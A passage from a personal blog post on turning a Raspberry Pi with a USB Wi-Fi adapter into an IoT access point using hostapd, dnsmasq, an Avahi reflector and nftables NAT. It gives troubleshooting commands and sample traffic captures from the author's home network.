      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

